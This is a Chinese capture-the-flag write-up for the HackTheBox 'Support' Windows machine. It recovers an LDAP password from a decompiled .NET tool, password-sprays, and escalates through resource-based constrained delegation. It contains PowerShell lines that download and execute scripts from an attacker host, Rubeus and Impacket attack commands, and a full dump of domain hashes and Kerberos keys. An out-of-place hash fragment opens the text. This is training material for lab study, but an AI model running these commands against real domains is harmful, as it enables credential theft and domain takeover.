DB01$:aes256-cts-hmac-sha1-96:c03fda84ab460db1f0ae9ecc0cd17c9fab52576ac6a4c77df1f600d4b10e0088 DB01$:aes128-cts-hmac-sha1-96:eb8af7494d9cc8e29e9b84923e929410 DB01$:des-cbc-md5:5e9ddae537abe631 WEB01$:aes256-cts-hmac-sha1-96:f9655daa1066e543b94469ac5657d747fb17c9679bb4250efaa1eae177ff285a WEB01$:aes128-cts-hmac-sha1-96:0a280a2ad97136959ac408c62450b0ed WEB01$:des-cbc-md5:4fcef1e6b30b68f7 DEV01$:aes256-cts-hmac-sha1-96:06278ffadea2d29dd059f4535284735d0dce00b81c74dfff24a1a679bff976b5 DEV01$:aes128-cts-hmac-sha1-96:da52c69d83ea6c19c7c8a3b19a545a68 DEV01$:des-cbc-md5:f229a754ec46c2e3 [*] Cleaning up...
靶机信息 系统WindowsIP/难度Easy (不会)地址https://app.hackthebox.com/machines/SupportC#/Net 反编译基于 Kerberos 基于资源的约束委派攻击端口扫描PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-04-08 07:11:02Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 9389/tcp open mc-nmf .NET Message Framing 49664/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49678/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49683/tcp open msrpc Microsoft Windows RPC 49711/tcp open msrpc Microsoft Windows RPC 49747/tcp open msrpc Microsoft Windows RPC Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windowsSMB_445 匿名登陆smbclient和smbmap等└─\ ✨ smbclient -L \\10.129.230.181 -N Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC NETLOGON Disk Logon server share support-tools Disk support staff tools SYSVOL Disk Logon server share Reconnecting with SMB1 for workgroup listing. └─\ ✨ smbmap -u ' ' -p '' -H 10.129.230.181 [+] IP: 10.129.230.181:445 Name: 10.129.230.181 Status: Authenticated Disk Permissions Comment ---- ----------- ------- ADMIN$ NO ACCESS Remote Admin C$ NO ACCESS Default share IPC$ READ ONLY Remote IPC NETLOGON NO ACCESS Logon server share support-tools READ ONLY support staff tools SYSVOL NO ACCESS Logon server share重点关注support-tools共享文件夹└─\ ✨ root@Kali /m/e/h/Support# smbclient -N \\\\10.129.230.181\\support-tools -c 'dir' . D 0 Thu Jul 21 01:01:06 2022 .. D 0 Sat May 28 19:18:25 2022 7-ZipPortable_21.07.paf.exe A 2880728 Sat May 28 19:19:19 2022 npp.8.4.1.portable.x64.zip A 5439245 Sat May 28 19:19:55 2022 putty.exe A 1273576 Sat May 28 19:20:06 2022 SysinternalsSuite.zip A 48102161 Sat May 28 19:19:31 2022 UserInfo.exe.zip A 277499 Thu Jul 21 01:01:07 2022 windirstat1_1_2_setup.exe A 79171 Sat May 28 19:20:17 2022 WiresharkPortable64_3.6.5.paf.exe A 44398000 Sat May 28 19:19:43 2022 4026367 blocks of size 4096. 957553 blocks available将UserInfo.exe.zip 下载到本地,解压查看文件类型$ root@Kali /m/e/h/Support# file userinfo/UserInfo.exe userinfo/UserInfo.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections通过询问ai得知这可能是使用C#或者.Net编写的程序 (IDA Pro无法反编译,或者说反编译的不彻底)反编译程序可以使用ILSpy进行反编译,通过github下载需要注意如下代码,虽然不懂csharp,但还是能看个大概流程,对enc_password进行base64解码存为数组,依次与key进行异或!htb_support_ILSpy.png使用Python编写代码from base64 import b64decode enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E"; key = b"armando" password = b64decode(enc_password) # print(password) a =[i for i in range(36)] for i in range(len(password)): a[i] = password[i] ^ key[i % len(key)] ^ 0xDF for i in a: print(chr(i), end='')运行结果为nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz,这是ldap的凭据验证root@Kali /m/e/h/Support# nxc smb 10.129.230.181 -u 'ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' --shares SMB 10.129.230.181 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:False) SMB 10.129.230.181 445 DC [+] support.htb\ldap:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz SMB 10.129.230.181 445 DC [*] Enumerated shares SMB 10.129.230.181 445 DC Share Permissions Remark SMB 10.129.230.181 445 DC ----- ----------- ------ SMB 10.129.230.181 445 DC ADMIN$ Remote Admin SMB 10.129.230.181 445 DC C$ Default share SMB 10.129.230.181 445 DC IPC$ READ Remote IPC SMB 10.129.230.181 445 DC NETLOGON READ Logon server share SMB 10.129.230.181 445 DC support-tools READ support staff tools SMB 10.129.230.181 445 DC SYSVOL READ Logon server share顺便收集一波用户名root@Kali /m/e/h/Support# nxc smb 10.129.230.181 -u 'ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' --users SMB 10.129.230.181 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:False) SMB 10.129.230.181 445 DC [+] support.htb\ldap:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz SMB 10.129.230.181 445 DC -Username- -Last PW Set- -BadPW- -Description- SMB 10.129.230.181 445 DC Administrator 2022-07-19 17:55:56 0 Built-in account for administering the computer/domain SMB 10.129.230.181 445 DC Guest 2022-05-28 11:18:55 0 Built-in account for guest access to the computer/domain SMB 10.129.230.181 445 DC krbtgt 2022-05-28 11:03:43 0 Key Distribution Center Service Account SMB 10.129.230.181 445 DC ldap 2022-05-28 11:11:46 0 SMB 10.129.230.181 445 DC support 2022-05-28 11:12:00 0 SMB 10.129.230.181 445 DC smith.rosario 2022-05-28 11:12:19 0 SMB 10.129.230.181 445 DC hernandez.stanley 2022-05-28 11:12:34 0 SMB 10.129.230.181 445 DC wilson.shelby 2022-05-28 11:12:50 0 SMB 10.129.230.181 445 DC anderson.damian 2022-05-28 11:13:05 0 SMB 10.129.230.181 445 DC thomas.raphael 2022-05-28 11:13:21 0 SMB 10.129.230.181 445 DC levine.leopoldo 2022-05-28 11:13:37 0 SMB 10.129.230.181 445 DC raven.clifton 2022-05-28 11:13:53 0 SMB 10.129.230.181 445 DC bardot.mary 2022-05-28 11:14:08 0 SMB 10.129.230.181 445 DC cromwell.gerard 2022-05-28 11:14:24 0 SMB 10.129.230.181 445 DC monroe.david 2022-05-28 11:14:39 0 SMB 10.129.230.181 445 DC west.laura 2022-05-28 11:14:55 0 SMB 10.129.230.181 445 DC langley.lucy 2022-05-28 11:15:10 0 SMB 10.129.230.181 445 DC daughtler.mabel 2022-05-28 11:15:26 0 SMB 10.129.230.181 445 DC stoll.rachelle 2022-05-28 11:15:42 0 SMB 10.129.230.181 445 DC ford.victoria 2022-05-28 11:15:58 0 LDAP_389ldapsearch不会用使用windapsearch.py进行ldap信息收集$ python3 /opt/windapsearch/windapsearch.py -d support.htb -u 'support\ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' --dc-ip 10.129.230.181 -U --full > ldap.out在文件中找到了info字段info: Ironside47pleasure40Watchful应该是一个密码,进行密码喷洒密码喷洒$ root@Kali /m/e/h/Support# nxc smb 10.129.230.181 -u username -p password --continue-on-success SMB 10.129.230.181 445 DC [+] support.htb\ldap:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz SMB 10.129.230.181 445 DC [+] support.htb\support:Ironside47pleasure40WatchfulGetShell对新获得凭据跑一下winrmroot@Kali /m/e/h/Support# nxc winrm 10.129.230.181 -u 'support' -p 'Ironside47pleasure40Watchful' WINRM 10.129.230.181 5985 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:support.htb) WINRM 10.129.230.181 5985 DC [+] support.htb\support:Ironside47pleasure40Watchful (Pwn3d!)Pwned使用evil-winrm进行连接,桌面上获得user flagevil-winrm -i support.htb -u support -p Ironside47pleasure40WatchfulGenericAll 提权既然有了凭据,那就遛个狗先$ bloodhound-python -c all -d support.htb -u support -p 'Ironside47pleasure40Watchful' -ns 10.129.230.181 --zipGenericAll on Computer: 用户在计算机上具有 GenericAll 权限使用powershell脚本参考教程: https://www.youtube.com/watch?v=BAEfEdNWij0https://www.rotta.rocks/active-directory/god-access/genericall-abusehttps://www.thehacker.recipes/a-d/movement/dacl使用Impacket https://github.com/tothi/rbcd-attack# 导入ps1 IEX(New-Object Net.WebClient).downloadString('http://10.10.14.92:8000/PowerView.ps1') IEX(New-Object Net.WebClient).downloadString('http://10.10.14.92:8000/Powermad.ps1') # 创建新的计算机账户,用户名为 "st4rry",密码为 "abc1234!" New-MachineAccount -MachineAccount st4rry -Password $(ConvertTo-SecureString 'abc1234!' -AsPlainText -Force) # 获取名为 "st4rry" 的域计算机对象的安全标识符（SID）。 $ComputerSid = Get-DomainComputer st4rry -Properties objectsid | Select -Expand objectsid # 创建一个安全访问控制描述符（SDDL） $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))" # 创建了一个新的字节数组，其长度与安全访问控制描述符对象的二进制表示长度相同。 $SDBytes = New-Object byte[] ($SD.BinaryLength) # 将安全访问控制描述符对象转换为二进制形式，并将结果存储在之前创建的字节数组中。 $SD.GetBinaryForm($SDBytes, 0) # 将给定计算机对象的 `msds-allowedtoactonbehalfofotheridentity` 属性设置为特定的二进制值。 Get-DomainComputer $TargetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} # 生成密码 "abc1234!" 的哈希值。 .\Rubeus.exe hash /password:abc1234! # 调用了 Rubeus 工具，并使用其 s4u（Service for User）子命令执行身份冒充攻击（Impersonation） Rubeus.exe s4u /user:st4rry$ /rc4:461E9338B161C8B8A88B3F0A002DAF57 /impersonateuser:administrator /msdsspn:cifs/dc.support.htb /ptt运行结果如下:*Evil-WinRM* PS C:\Users\support\Documents> .\Rubeus.exe s4u /user:st4rry$ /rc4:461E9338B161C8B8A88B3F0A002DAF57 /impersonateuser:administrator /msdsspn:cifs/dc.support.htb /ptt ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.2.0 [*] Action: S4U [*] Using rc4_hmac hash: 461E9338B161C8B8A88B3F0A002DAF57 [*] Building AS-REQ (w/ preauth) for: 'support.htb\st4rry$' [*] Using domain controller: ::1:88 [+] TGT request successful! [*] base64(ticket.kirbi): [binary] [*] Action: S4U [*] Building S4U2self request for: 'st4rry$@SUPPORT.HTB' [*] Using domain controller: dc.support.htb (::1) [*] Sending S4U2self request to ::1:88 [+] S4U2self success! [*] Got a TGS for 'administrator' to 'st4rry$@SUPPORT.HTB' [*] base64(ticket.kirbi): [binary] [*] Impersonating user 'administrator' to target SPN 'cifs/dc.support.htb' [*] Building S4U2proxy request for service: 'cifs/dc.support.htb' [*] Using domain controller: dc.support.htb (::1) [*] Sending S4U2proxy request to domain controller ::1:88 [+] S4U2proxy success! [*] base64(ticket.kirbi) for SPN 'cifs/dc.support.htb': [binary] [+] Ticket successfully imported!对[*] base64(ticket.kirbi) for SPN 'cifs/dc.support.htb':下的数据进行处理:删除多余的空格与换行,进行base64解码,存到文件ticket.kirbi中使用ticketConverter.py将其转换为.ccache$ ticketConverter.py ticket.kirbi ticket.ccache (kali不支持kirbi格式,仅Windows支持)设置环境变量export KRB5CCNAME=ticket.ccache然后就可以GetShellpsexec.py -k -no-pass support.htb/Administrator@dc.support.htb -dc-ip IP smbexec.py -k -no-pass support.htb/Administrator@dc.support.htb -dc-ip IP wmiexec.py -k -no-pass support.htb/Administrator@dc.support.htb -dc-ip IP使用 Impacket 进行# 向其添加新的计算机账户 koi addcomputer.py -computer-name 'koi$' -computer-pass 'abc1234!' -dc-ip 10.129.49.22 support.htb/support:Ironside47pleasure40Watchful # 设置 Kerberos RBCD（基于资源的受限委派）攻击中的属性 msDS-AllowedToActOnBehalfOfOtherIdentity。 rbcd.py -action write -delegate-from 'KOI$' -delegate-to 'DC$' -dc-ip 10.129.49.22 support.htb/support:Ironside47pleasure40Watchful # 获取 Kerberos 服务票据（Service Ticket） getST.py -spn cifs/DC.support.htb -impersonate administrator -dc-ip 10.129.49.22 support.htb/koi$:abc1234! # 设置环境变量 export KRB5CCNAME=admin.ccache # 获取shell psexec.py -k -no-pass support.htb/Administrator@dc.support.htb成功利用后,再次遛一下狗dump Hashroot@Kali /m/e/h/Support# secretsdump.py -k -no-pass support.htb/Administrator@dc.support.htb -dc-ip 10.129.230.181 Impacket v0.12.0.dev1+20240208.120203.63438ae7 - Copyright 2023 Fortra [*] Target system bootKey: 0xf678b2597ade18d88784ee424ddc0d1a [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:bb06cbc02b39abeddd1335bc30b19e26::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: [-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information. [*] Dumping cached domain logon information (domain/username:hash) [*] Dumping LSA Secrets [*] $MACHINE.ACC SUPPORT\DC$:plain_password_hex:1601d56ea93a92a97972f9fa504806072db46ecc2ad139a0b223f067987e1c3c4284a85c572ef9eba5d97e6b8aeb36bf648ab79e8a951d33f1556d7e9ac8993881c10cf73da86b4217e3e4ac8d10a61ba29da4bc664fd761afafd86bcff7e76181eb1a83640e85196d6f1303372a57e237e4032ec815484f406dce9302f35b1e88d60ea01066d11f972b6a720a51476024dfcfbf7ea06e41d8a7bd392646c7e30802c2eb6f011b847eb2d481a849f48b6547ef367b39626e50af71ea4dbbbc0079ddeb2891aba6c1dbc8de0ba162d80587bc9e08b45b9e01044ad135b74213d8331e3dab75bff5f93b3c7e81e3658d24 SUPPORT\DC$:aad3b435b51404eeaad3b435b51404ee:de2479619d2dc3c3e79b327ee5de246a::: [*] DPAPI_SYSTEM dpapi_machinekey:0x5f39b9187072640dd3b9ebc53cdcbd2cda166279 dpapi_userkey:0xc98d4a2ff3c17181eaaad459d6383cff7c72bc2d [*] NL$KM 0000 D7 80 3F C7 76 67 B3 22 E7 C9 9B 98 33 D7 F1 A4 ..?.vg."....3... 0010 E9 EE B2 38 B7 E0 34 5F 12 36 AB 44 F2 4F 75 7D ...8..4_.6.D.Ou} 0020 56 22 0F 0F 3C 2D 2E 4C E6 FD 61 01 63 A4 32 B4 V"..<-.L..a.c.2. 0030 CE 66 7B DB E7 CF 28 F8 4C 9E 9C 46 A0 61 1B 8B .f{...(.L..F.a.. NL$KM:d7803fc77667b322e7c99b9833d7f1a4e9eeb238b7e0345f1236ab44f24f757d56220f0f3c2d2e4ce6fd610163a432b4ce667bdbe7cf28f84c9e9c46a0611b8b [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets Administrator:500:aad3b435b51404eeaad3b435b51404ee:bb06cbc02b39abeddd1335bc30b19e26::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6303be52e22950b5bcb764ff2b233302::: ldap:1104:aad3b435b51404eeaad3b435b51404ee:b735f8c7172b49ca2b956b8015eb2ebe::: support:1105:aad3b435b51404eeaad3b435b51404ee:11fbaef07d83e3f6cde9f0ff98a3af3d::: smith.rosario:1106:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706::: hernandez.stanley:1107:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706::: wilson.shelby:1108:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706::: anderson.damian:1109:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706::: thomas.raphael:1110:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706::: levine.leopoldo:1111:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706::: raven.clifton:1112:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706::: bardot.mary:1113:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706::: cromwell.gerard:1114:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706::: monroe.david:1115:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706::: west.laura:1116:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706::: langley.lucy:1117:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706::: daughtler.mabel:1118:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706::: stoll.rachelle:1119:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706::: ford.victoria:1120:aad3b435b51404eeaad3b435b51404ee:0fab66daddc6ba42a3b0963123350706::: DC$:1000:aad3b435b51404eeaad3b435b51404ee:de2479619d2dc3c3e79b327ee5de246a::: st4rry$:6101:aad3b435b51404eeaad3b435b51404ee:461e9338b161c8b8a88b3f0a002daf57::: esteesminuevopc$:6102:aad3b435b51404eeaad3b435b51404ee:dc2d7e8252c461ee9dc0cf6b7766ad36::: [*] Kerberos keys grabbed Administrator:aes256-cts-hmac-sha1-96:f5301f54fad85ba357fb859c94c5c31a6abe61f6db1986c03574bfd6c2e31632 Administrator:aes128-cts-hmac-sha1-96:678dcbcbf92bc72fd318ac4aa06ede64 Administrator:des-cbc-md5:13a8c8abc12f945e krbtgt:aes256-cts-hmac-sha1-96:21f4a7ed00009605ac5182a3d607d25447f48a3f13fbf60912f1e863a70d7141 krbtgt:aes128-cts-hmac-sha1-96:e963352bcdd503ddc3017a2afd620ccb krbtgt:des-cbc-md5:70b3fdaefe454ad5 ldap:aes256-cts-hmac-sha1-96:f54423bd0d85939de61519c02fad691596f47c0a34cdf0983131bb962ee6ae7a ldap:aes128-cts-hmac-sha1-96:0447dc15751883c29d9f450acc95db3d ldap:des-cbc-md5:2ada4ccbcbceb901 support:aes256-cts-hmac-sha1-96:ada63670275687524019008a737c3b57cbf2d1be9eb08a60954a3dcb9268f4e4 support:aes128-cts-hmac-sha1-96:34a8a853cee33abe1668d7660a1affd9 support:des-cbc-md5:79fdc47f98ea70f2 smith.rosario:aes256-cts-hmac-sha1-96:4ce2d5be0ad97e2ff69e7103f3baee3ee58826dbf6061187f266859a294648b3 smith.rosario:aes128-cts-hmac-sha1-96:d181b8c4247a3fa19d7ad76d0026b264 smith.rosario:des-cbc-md5:495d086b52917c6e hernandez.stanley:aes256-cts-hmac-sha1-96:665165633c8446cfc4264434307c336ddfd91372fda23dc318fb99369c6b78ec hernandez.stanley:aes128-cts-hmac-sha1-96:8f62b1cba1910f730d905fe388acd69c hernandez.stanley:des-cbc-md5:a24a340ec885046b wilson.shelby:aes256-cts-hmac-sha1-96:3f72fd104691e5c59664834bba1d4b9ddbbfea30605cb2120fafa1ee8720b502 wilson.shelby:aes128-cts-hmac-sha1-96:1ea7512778994ec36b259d590df0a188 wilson.shelby:des-cbc-md5:622089cb10152fcd anderson.damian:aes256-cts-hmac-sha1-96:cb56856b143d38b9191d16ab1e64f9460d06f29a406b37f3da9925a21d87d092 anderson.damian:aes128-cts-hmac-sha1-96:e18d3688bcacab591dabf00f080369f4 anderson.damian:des-cbc-md5:329ee6d3405834e5 thomas.raphael:aes256-cts-hmac-sha1-96:c1c5ec89304832e7bbbc3cc2a108671df6464bd5989e8156e84e540bcac12ac0 thomas.raphael:aes128-cts-hmac-sha1-96:e5212c20b62c46245fc7e3843b4db754 thomas.raphael:des-cbc-md5:8c2064c4e975e31c levine.leopoldo:aes256-cts-hmac-sha1-96:f3f471fa904dafa639d562b713ca57d6668e8e58c4838490e1e038f70e86fabb levine.leopoldo:aes128-cts-hmac-sha1-96:3b8c7b502154308728e6092a0c524190 levine.leopoldo:des-cbc-md5:0464734a207f5d04 raven.clifton:aes256-cts-hmac-sha1-96:5ead58d4439aa8e64ce828f628629b0798c192f9925908670779a212178bce70 raven.clifton:aes128-cts-hmac-sha1-96:a3862f3e0c9096d735eb9e075b46ed9e raven.clifton:des-cbc-md5:b6252651b01ff452 bardot.mary:aes256-cts-hmac-sha1-96:54123fcaa07765a4d8136cf95cff67173d31d6c049f1d0936cb33c257aab20c5 bardot.mary:aes128-cts-hmac-sha1-96:a941571a50d40fa5771c8deffa44a501 bardot.mary:des-cbc-md5:bc79e0a8f7dfdc10 cromwell.gerard:aes256-cts-hmac-sha1-96:397983e21a3742e1d9c53bd51570a89dfdb9b79cfc15eb294500e16eee9c5a0c cromwell.gerard:aes128-cts-hmac-sha1-96:a495521b2d0992a21d0cd6b968dbb042 cromwell.gerard:des-cbc-md5:0e2f37ae7c58310b monroe.david:aes256-cts-hmac-sha1-96:13dd6e3f424e0e3b394964ceaf9f739c19a680c97648b1531b8e417012d9775d monroe.david:aes128-cts-hmac-sha1-96:a15fd3bccfb2e7ead3bdf2fe4c47f355 monroe.david:des-cbc-md5:a86b5829047f2557 west.laura:aes256-cts-hmac-sha1-96:54a3167b1c9ee166874a6b09b08621394b049197270d4b754e8fedb78ee86b88 west.laura:aes128-cts-hmac-sha1-96:864381e434a5856d85c1f61bc8726378 west.laura:des-cbc-md5:8a923480ec7cd9d3 langley.lucy:aes256-cts-hmac-sha1-96:f2415b075b6e205864de19917a9989398672b062dad29d58af177d358e086998 langley.lucy:aes128-cts-hmac-sha1-96:20cdc3297fc8138726e34e45ba9f73d6 langley.lucy:des-cbc-md5:fd738a3dd0028fb0 daughtler.mabel:aes256-cts-hmac-sha1-96:7ce8f29915849ec300bd81341759d19c67e045501e1ee7e198fe37a7ee51af8d daughtler.mabel:aes128-cts-hmac-sha1-96:791efedf5473d798dbc3267ce6d045aa daughtler.mabel:des-cbc-md5:01ba80795bbc3ea8 stoll.rachelle:aes256-cts-hmac-sha1-96:d9cca58315e797cdb21ca8ad71278112357291a970a90084586a38d4c5ff38c2 stoll.rachelle:aes128-cts-hmac-sha1-96:c7768011ce94e18fae341bdfb5223bc3 stoll.rachelle:des-cbc-md5:b63d15683434b38f ford.victoria:aes256-cts-hmac-sha1-96:de0a90f4f874ebb0937df96bc14308dcbb54835ac622ad16b79cf9509313f205 ford.victoria:aes128-cts-hmac-sha1-96:2241c9137590e4bde952ac411a1c22c6 ford.victoria:des-cbc-md5:13d573730ba8641f DC$:aes256-cts-hmac-sha1-96:19f5843b12c792426c992fab1578af841fa2f1f17a28244e7ff609f1f92cd57b DC$:aes128-cts-hmac-sha1-96:4d0df9e45f488ee5538c20fe1a4b8b8c DC$:des-cbc-md5:ce0146e668b90b79 st4rry$:aes256-cts-hmac-sha1-96:355a848628ba03d4f0674aa8a05ddfed2a4b6d248b25bd406308cac19fe6472f st4rry$:aes128-cts-hmac-sha1-96:00525d527fc6b1628a0073fc4cb06455 st4rry$:des-cbc-md5:8abfb3dace070716 esteesminuevopc$:aes256-cts-hmac-sha1-96:93b89d09f974bb176195d6e1ad85014e8b053ec36f8d39ffb6e325f4aeb21e1e esteesminuevopc$:aes128-cts-hmac-sha1-96:5295a6e8b9b0237d9da977d9ad8c31d2 esteesminuevopc$:des-cbc-md5:fb04b315cdd9d640 [*] Cleaning up...